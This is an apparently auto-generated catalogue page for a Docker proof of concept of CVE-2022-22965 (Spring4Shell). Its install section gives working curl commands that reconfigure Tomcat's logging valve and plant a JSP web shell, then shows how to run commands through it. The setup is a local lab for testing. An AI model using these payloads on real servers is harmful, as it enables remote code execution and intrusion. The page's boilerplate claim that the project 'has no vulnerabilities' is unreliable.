CVE-2022-22965 | Docker PoC for CVE-2022-22965 with Spring Boot version

by itsecurityco Java Version: Current License: No License

X-Ray Key Features Code Snippets Community Discussions Vulnerabilities Install Support

kandi X-RAY | CVE-2022-22965 Summary

CVE-2022-22965 is a Java library. CVE-2022-22965 has no bugs, it has no vulnerabilities, it has build file available and it has low support. You can download it from GitHub.

Docker PoC for CVE-2022-22965 with Spring Boot version 2.6.5

Support

Quality

Security

License

Reuse

Support

CVE-2022-22965 has a low active ecosystem.

It has 0 star(s) with 0 fork(s). There are 1 watchers for this library.

It had no major release in the last 6 months.

CVE-2022-22965 has no issues reported. There are no pull requests.

It has a neutral sentiment in the developer community.

The latest version of CVE-2022-22965 is current.

Quality

CVE-2022-22965 has no bugs reported.

Security

CVE-2022-22965 has no vulnerabilities reported, and its dependent libraries have no vulnerabilities reported.

License

CVE-2022-22965 does not have a standard license declared.

Check the repository for any license declaration and review the terms closely.

Without a license, all rights are reserved, and you cannot use the library in your applications.

Reuse

CVE-2022-22965 releases are not available. You will need to build from source code and install.

Build file is available. You can build the component from source.

Installation instructions, examples and code snippets are available.

Top functions reviewed by kandi - BETA

kandi's functional review helps you automatically verify the functionalities of the libraries and avoid rework.
Currently covering the most popular Java, JavaScript and Python libraries. See a Sample of CVE-2022-22965

Get all kandi verified functions for this library.

CVE-2022-22965 Key Features

No Key Features are available at this moment for CVE-2022-22965.

CVE-2022-22965 Examples and Code Snippets

No Code Snippets are available at this moment for CVE-2022-22965.

Community Discussions

No Community Discussions are available at this moment for CVE-2022-22965.Refer to stack overflow page for discussions.

Community Discussions, Code Snippets contain sources that include Stack Exchange Network

Vulnerabilities

No vulnerabilities reported

Install CVE-2022-22965

Download the distribution code from https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip and unzip it.
Run docker compose up --build to build and start the vulnerable application.
Run curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" to changes Tomcat config valve.
Run curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x" to create the web shell.
Open your browser and go to http://localhost:8080/shell.jsp?1337=id to start executing commands.

Support

For any new features, suggestions and bugs create an issue on GitHub. If you have any questions check and ask questions on community page Stack Overflow .

Find more information at: